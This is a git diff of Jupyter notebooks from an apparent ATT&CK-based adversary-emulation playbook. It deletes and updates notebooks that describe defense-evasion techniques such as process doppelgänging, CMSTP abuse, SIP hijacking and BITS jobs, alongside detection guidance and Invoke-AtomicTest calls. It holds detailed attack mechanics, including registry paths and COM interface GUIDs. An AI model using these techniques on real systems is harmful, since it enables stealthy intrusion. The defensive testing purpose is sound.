privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)" - }, - { - "cell_type": "markdown", - "id": "0bd5b400", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "b3c7a263", - "metadata": {}, - "source": "## Detection\nMonitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1186.ipynb b/playbook/tactics/defense-evasion/T1186.ipynb deleted file mode 100644 index dcaef94d..00000000 --- a/playbook/tactics/defense-evasion/T1186.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "7916ae26", - "metadata": {}, - "source": "# T1186 - Process Doppelg\u00e4nging\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution." - }, - { - "cell_type": "markdown", - "id": "2e6e2769", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "0d9cbf85", - "metadata": {}, - "source": "## Detection\nMonitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1191.ipynb b/playbook/tactics/defense-evasion/T1191.ipynb deleted file mode 100644 index 14444b09..00000000 --- a/playbook/tactics/defense-evasion/T1191.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "765a7db9", - "metadata": {}, - "source": "# T1191 - CMSTP\nThe Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)" - }, - { - "cell_type": "markdown", - "id": "c50c0738", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "5f221724", - "metadata": {}, - "source": "## Detection\nUse process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F)." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1196.ipynb b/playbook/tactics/defense-evasion/T1196.ipynb deleted file mode 100644 index b91331b8..00000000 --- a/playbook/tactics/defense-evasion/T1196.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "e632f30b", - "metadata": {}, - "source": "# T1196 - Control Panel Items\nWindows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting." - }, - { - "cell_type": "markdown", - "id": "aaa46e09", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "9a55dbfe", - "metadata": {}, - "source": "## Detection\nMonitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1197.ipynb b/playbook/tactics/defense-evasion/T1197.ipynb index 4f35170c..83ba5685 100644 --- a/playbook/tactics/defense-evasion/T1197.ipynb +++ b/playbook/tactics/defense-evasion/T1197.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b3dad8b1", + "id": "2cbb9dec", "metadata": {}, "source": "# T1197 - BITS Jobs\nAdversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)" }, { "cell_type": "markdown", - "id": "b43ca563", + "id": "a988921b", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b3178898", + "id": "b464c0bc", "metadata": {}, "source": [ "### Atomic Test #1 - Bitsadmin Download (cmd)", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ccc8068e", + "id": "6e9516ca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b5a04686", + "id": "3a8e2bce", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\bitsadmin1_flag.ps1 >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "50f64a2a", + "id": "1e596e0f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "34ee7e6c", + "id": "e9d18ccc", "metadata": {}, "source": [ "### Atomic Test #2 - Bitsadmin Download (PowerShell)", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "804632f2", + "id": "73ab8e8d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "f62bce52", + "id": "7613f9f0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\bitsadmin2_flag.ps1 -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2d88b61e", + "id": "e64d0754", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "829279a3", + "id": "de516295", "metadata": {}, "source": [ "### Atomic Test #3 - Persist, Download, & Execute", @@ -95,28 +95,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5eb55872", + "id": "56d83453", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "0c0fd0d7", + "id": "aa5e506f", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\bitsadmin3_flag.ps1 >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a1ef1db8", + "id": "85b0b4df", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "afe652b6", + "id": "8fd4fb92", "metadata": {}, "source": [ "### Atomic Test #4 - Bits download using desktopimgdownldr.exe (cmd)", @@ -129,34 +129,34 @@ { "cell_type": "code", "execution_count": null, - "id": "c93916ae", + "id": "2316776f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "ef7d3818", + "id": "e43ed36a", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel C:\\Windows\\Temp\\Personalization\\LockScreenImage\\*.md >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "00b13bbf", + "id": "7c7e10cd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "bdfbc5cf", + "id": "57c20791", "metadata": {}, "source": "## Detection\nBITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)" }, { "cell_type": "markdown", - "id": "68a0f8ce", + "id": "8911be8b", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls on systems in order to affect the success of an adversary.\n#### Use Case\nA defender could use host-based tool to detect common persistence mechanisms and prevent the process from executing successfully.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -164,13 +164,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1198.ipynb b/playbook/tactics/defense-evasion/T1198.ipynb deleted file mode 100644 index 6d5f57c9..00000000 --- a/playbook/tactics/defense-evasion/T1198.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "bed98752", - "metadata": {}, - "source": "# T1198 - SIP and Trust Provider Hijacking\nIn user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)" - }, - { - "cell_type": "markdown", - "id": "c96db220", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "0115a4e5", - "metadata": {}, - "source": "## Detection\nPeriodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1202.ipynb b/playbook/tactics/defense-evasion/T1202.ipynb index 35dc498a..145dfe00 100644 --- a/playbook/tactics/defense-evasion/T1202.ipynb +++ b/playbook/tactics/defense-evasion/T1202.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "5f7b8045", + "id": "e3ad93b4", "metadata": {}, "source": "# T1202 - Indirect Command Execution\nAdversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads." }, { "cell_type": "markdown", - "id": "b23f2650", + "id": "394da353", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d4d310b0", + "id": "041f0d22", "metadata": {}, "source": [ "### Atomic Test #1 - Indirect Command Execution - pcalua.exe", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "48675ca9", + "id": "06f82687", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1202 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "26c0b93b", + "id": "c9fa9892", "metadata": {}, "source": [ "### Atomic Test #2 - Indirect Command Execution - forfiles.exe", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "5340bb08", + "id": "61457cf3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1202 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "8d973d4c", + "id": "d4c88426", "metadata": {}, "source": [ "### Atomic Test #3 - Indirect Command Execution - conhost.exe", @@ -67,20 +67,20 @@ { "cell_type": "code", "execution_count": null, - "id": "1ac4ebf4", + "id": "ba12ac33", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1202 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "9ae2f340", + "id": "b165820b", "metadata": {}, "source": "## Detection\nMonitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)" }, { "cell_type": "markdown", - "id": "b265a2d6", + "id": "fa76d1ad", "metadata": {}, "source": "\n## Shield Active Defense\n### Behavioral Analytics \n Deploy tools that detect unusual system or user behavior.\n \n\n Instrument a system to collect detailed information about process execution and user activity, develop a sense of normal or expected behaviors, and alert on abnormal or unexpected activity. This can be accomplished either onboard the target system or by shipping data to a centralized analysis and alerting system.\n#### Opportunity\nThere is an opportunity to detect the presence of an adversary by identifying and alerting on anomalous behaviors.\n#### Use Case\nA defender can implement behavior analytics which would indicate activity on a system executing commands in non-standard ways. This could indicate malicious activity.\n#### Procedures\nUse behavioral analytics to detect Living Off The Land Binaries (LOLBins) being used to download and execute a file.\nUse behavioral analytics to identify a system running development tools, but is not used by someone who does development.\nUse behavioral analytics to identify abnormal system processes being used to launch a different process.\n" } @@ -88,13 +88,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1205.001.ipynb b/playbook/tactics/defense-evasion/T1205.001.ipynb index f8c28161..c1d18e7d 100644 --- a/playbook/tactics/defense-evasion/T1205.001.ipynb +++ b/playbook/tactics/defense-evasion/T1205.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "dfb0e942", + "id": "28bc8279", "metadata": {}, "source": "# T1205.001 - Port Knocking\nAdversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs." }, { "cell_type": "markdown", - "id": "94dc8b3c", + "id": "e605ae39", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "8e62d9e0", + "id": "9f1f94c0", "metadata": {}, "source": "## Detection\nRecord network packets sent to and from the system, looking for extraneous packets that do not belong to established flows." } 